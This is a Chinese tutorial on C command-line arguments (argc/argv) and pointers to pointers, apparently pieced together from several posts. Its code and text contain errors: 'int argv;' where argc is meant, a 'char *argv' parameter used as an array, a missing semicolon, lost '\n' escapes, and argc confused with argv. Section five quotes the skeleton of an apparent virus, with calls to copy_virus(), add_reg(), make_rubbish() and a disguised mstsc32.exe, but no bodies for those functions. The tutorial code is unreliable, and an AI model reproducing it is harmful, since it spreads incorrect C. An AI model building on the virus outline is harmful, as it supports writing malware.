main函数

 

一、main函数的参数
        
    我们经常用的main函数都是不带参数的。因此main 后的括号都是空括号。实际上，main函数可以带参数，这个参数可以认为是 main函数的形式参数。Ｃ语言规定main函数的参数只能有两个， 习惯上这两个参数写为argc和argv。因此，main函数的函数头可写为： main (argc,argv)Ｃ语言还规定argc(第一个形参)必须是整型变量,argv( 第二个形参)必须是指向字符串的指针数组。加上形参说明后，main函数的函数头应写为：  
main (argc,argv)
int argv ;
char *argv[] ;
 或写成  main(int argc,char *argv[])  //MSDN标准写法
由于main函数不能被其它函数调用， 因此不可能在程序内部取得实际值。那么，在何处把实参值赋予main函数的形参呢?实际上,main函数的参数值是从操作系统命令行上获得的。当我们要运行一个可执行文件时，在DOS提示符下键入文件名，再输入实际参数即可把这些实参传送到main的形参中去。DOS提示符下命令行的一般形式为： C:\>可执行文件名参数 参数……; 但是应该特别注意的是，main 的两个形参和命令行中的参数在位置上不是一一对应的。因为,main的形参只有二个，而命令行中的参数个数原则上未加限制。argc参数表示了命令行中参数的个数(注意：文件名本身也算一个参数)，argc的值是在输入命令行时由系统按实际参数的个数自动赋予的。例如有命令行为： C:\>E6 24 BASIC dbase FORTRAN由于文件名E624本身也算一个参数，所以共有4个参数，因此argc取得的值为4。argv参数是字符串指针数组，其各元素值为命令行中各字符串(参数均按字符串处理)的首地址。指针数组的长度即为参数个数。数组元素初值由系统自动赋予。
例 1： 
void main ( int argc, char *argv )
{
     while(argc-->1)
     printf("%s\n",*++argv);
 }

本例是显示命令行中输入的参数如果上例的可执行文件名为e24.exe，存放在A驱动器的盘内。
因此输入的命令行为： C:\>a:e24 BASIC dBASEFORTRAN  
则运行结果为：
BASIC
dBASE
FORTRAN
　　该行共有4个参数，执行main时，argc的初值即为4。argv的4个元素分为4个字符串的首地址。执行while语句，每循环一次 argv值减1，当argv等于1时停止循环，共循环三次，因此共可输出三个参数。在printf函数中，由于打印项*++argv是先加1再打印，故第一次打印的是argv[1]所指的字符串BASIC。第二、三次循环分别打印后二个字符串。而参数e24是文件名，不必输出。
例2：  
下例的命令行中有两个参数，第二个参数20即为输入的n值。在程序中*++argv的值为字符串“20”，然后用函数"atoi"把它换为整型作为while语句中的循环控制变量，输出20个偶数。
#include"stdlib.h"
void main(int argc,char*argv[])
{
    int a=0,n;
    n=atoi(*++argv) ;
    while(n--) 
    printf("%d ",a++*2);
}
　　本程序是从0开始输出n个偶数。指向指针的指针变量如果一个指针变量存放的又是另一个指针变量的地址， 则称这个指针变量为指向指针的指针变量。

　　在前面已经介绍过，通过指针访问变量称为间接访问， 简称间访。由于指针变量直接指向变量，所以称为单级间访。 而如果通过指向指针的指针变量来访问变量则构成了二级或多级间访。在Ｃ语言程序中，对间访的级数并未明确限制， 但是间访级数太多时不容易理解解，也容易出错，因此，一般很少超过二级间访。 指向指针的指针变量说明的一般形式为：  
这里说一下类型说明符** 指针变量名 ：  
例如： int ** pp; 表示pp是一个指针变量，它指向另一个指针变量， 而这个指针变量指向一个整型量。下面举一个例子来说明这种关系。
main()
{
    int x,*p,**pp;
    x=10;
    p=&x;
    pp=&p;
    printf("x=%d\n",**pp);
}  
　　上例程序中p 是一个指针变量，指向整型量x；pp也是一个指针变量，它指向指针变量p。通过pp变量访问x的写法是**pp。程序最后输出x的值为10。通过上例，读者可以学习指向指针的指针变量的说明和使用方法。

　　下述程序中首先定义说明了指针数组ps并作了初始化赋值。又说明了pps是一个指向指针的指针变量。在5次循环中，pps 分别取得了ps[0]，ps[1]，ps[2]，ps[3]，ps[4]的地址值(如图6.10所示)。再通过这些地址即可找到该字符串。
void main()
{
    static char *ps[]={"BASIC","DBASE","C","FORTRAN","PASCAL"};
    char **pps;
    int i;
    for(i=0;i<5;i++)
        {
            pps=ps+i;
            printf("%s\n",*pps);
        }
}
本程序是用指向指针的指针变量编程，输出多个字符串。

 

 

二、我刚接触到这两个变量时，根本不知道它们是用来做什么的，我想很多人也跟我一样，刚看到这两个变量时也是稀里糊涂的。  其实: int main(int argc,char *argv[]) 是 UNIX 和 Linux 中的标准写法。

那究竟 argc,argv[] 有何之用呢？下面看个例子 edit.c 就会明白它们的用法了：  
#include<unistd.h>  
#include<stdio.h>  

int main(int argc,char *argv[])  
{  
    if(argc==1 || argc>2) 
        {  
            printf("请输入想要编辑的文件名如:./edit fillen"); 
        }  
    if(argc==2)
    {  
        printf("编辑%sn",argv[1]);  
    }  
    exit(0)  
}  

编译该程序:gcc -o edit edit.c  
运行：./edit  
结果:请输入想要编辑的文件名如:./editfille  
运行:./edit edit.txt  
结果:编辑edit.txt  

看到这里 argc,argv[] 如何用就很明白了，argc 是外部命令参数的个数，argv[] 存放各参数的内容,如上例：执行./edit 时,argc 为1,  
argv[0] 为 ./edit .而执行 ./editedit.txt 时,argc 的值为 2,  
argv[0] 为 ./edit,argv[1] 为edit.txt .

 

三、main(int argc,char **argv)
   argv为指针的指针
   argc为整数
   char **argv or: char *argv[ ] or: char argv[ ][ ]
main()括号内是固定的写法。

下面给出一个例子来理解这两个参数的用法：

假设程序的名称为prog，

1.当只输入prog，则由操作系统传来的参数为：

   argc=1,表示只有一程序名称。
   argc只有一个元素，argv[0]指向输入的程序路径及名称：./prog

2.当输入prog para_1，有一个参数，则由操作系统传来的参数为：

   argc=2，表示除了程序名外还有一个参数。
   argv[0]指向输入的程序路径及名称。
   argv[1]指向参数para_1字符串。

3.当输入prog para_1 para_2 有2个参数，则由操作系统传来的参数为：

   argc=3，表示除了程序名外还有2个参数。
   argv[0]指向输入的程序路径及名称。
   argv[1]指向参数para_1字符串。
   argv[2]指向参数para_2字符串。

void    main(    int   argc,    char    *argv[ ]   )   
   char    *argv[]   :    argv是一个指针数组，他的元素个数是argc，存放的是指向每一个参数的指针，他的第一个元素即argv[0]为编译生成的可执行文件名(包括路径eg:"F:\VC\Ex1\Debug\Ex1.exe")，从二个元素(argv[1])开始，是每一个参数 . 
   int    argc    表示argv的大小，是实际参数个数＋1，其中＋1是因为argv[0]是编译后的可执行文件名

argv 参数的字符串形式的数组 
1.你可以传入多个参数，如果参数中有字符串，但是该串中包含空白，这个参数加上“”就可以了，eg:test.exe aa "test bb" 
2.如果你传入了3个参数，你真正的参数是从下标1开始的，也就是对你参数的引用为“argv[1],argv[2],argv[3]”, 
argv[0]是个什么你可以测试一下了！ 
3.如果你只传入了3个参数，你就只能引用三个参数。 
C/C++ code
//把这个保存为test.c，你执行它的 test.exe ab c
int main(int argc, char** argv)
{
    int x = 0；
    for(x=0;x<argc;x++)
       printf("%d,%s\n",x,argv[x]);
    return 0;
}

四、简单的说，就是命令行参数！

argc 是外部命令参数的个数，argv[] 存放各参数的内容,如上例：执行./edit 时,argc 为1, 
argv[0] 为./edit .而执行./edit edit.txt 时,argc的值为 2,  
argv[0] 为./edit,argv[1] 为edit.txt .

 

int argc 参数个数
char** argv 参数数组，，数组大小就是前面那个参数，通过数组下标访问里面存放的内容，例如argv[0]，argv[1]

 

五、int main(int argc,char **argv)//argc,argv[]是命令行参数，其中argc是参数的个数，argv[]存的是参数的字符串，比如你做好了一个有命令行参数的程序存在D盘，那么在c提示符中输入D：//程序名.exe aa bb aa 其中aa bb aa就是参数argc=4 argv[0]=D://...exe argv[1]=aa 以此类推

{

    int contral=0;

    if(argc>1)//如果参数除路径以外还有其他的

       if(strcmp(argv[1],"/s")==0)

         goto next1;

    autorun_explorer();//这个应该是自定义函数

    spawnl(1,"c:\\windows\\system\\explorer.exe",NULL);

 

    /*函数名: spawnl

功  能: 创建并运行子程序

用  法: int spawnl(int mode, char *pathname, char *arg0,

     arg1, ... argn, NULL);

程序例:

 

#include<process.h>

#include<stdio.h>

#include<conio.h>

 

int main(void)

{

  int result;

  clrscr();

  result = spawnl(P_WAIT, "tcc.exe", NULL);

  if (result == -1)

  {

     perror("Error from spawnl");

     exit(1);

  }

  return 0;

}

*/   

 

    next1:

    add_reg();//下面的函数一概是自己定义的吧，我学的不深没见过这些函数

    copy_virus();

    make_rubbish();

    /* remove_files(); */

    spawnl(1,"c:\\windows\\system32\\mstsc32.exe","/s",NULL);

     return 0;

 
再说一下 这个 ：

         int main(int argc, char **argv)是正确的方式。而int main(int argc, char *argv)你从哪里看来的？？那是不正确的，或者是书上笔误，不要被它愚弄了 ；你首先要弄明白一个问题， "hello world" 这个字符 常量的返回值是什么!! 一个字符串常量的返回值是char*, 反之你也可以用char*去存取字符串 ； 现在char **argv 就好理解了，它就是一个指向字符串的指针。当你在终端打入 Leds led_no 0  时，argv[0]就是Leds，argv[1]就是led_no,argv[2]就是 0; 如果你熟悉数组与指针的关系，那么这里的argv[n]也容易理解， 他们都是字符串 ；sscanf(argv[1],"%d",&led_no)!=1 这一句：sscanf不同于scanf的地方是 sscanf从一个字符串中得到输入，而scanf是你从终端输入。 这句就是，如果argv [1]这个字符串中含数字，那么就把它读入led_on. 并返回1，否则返回0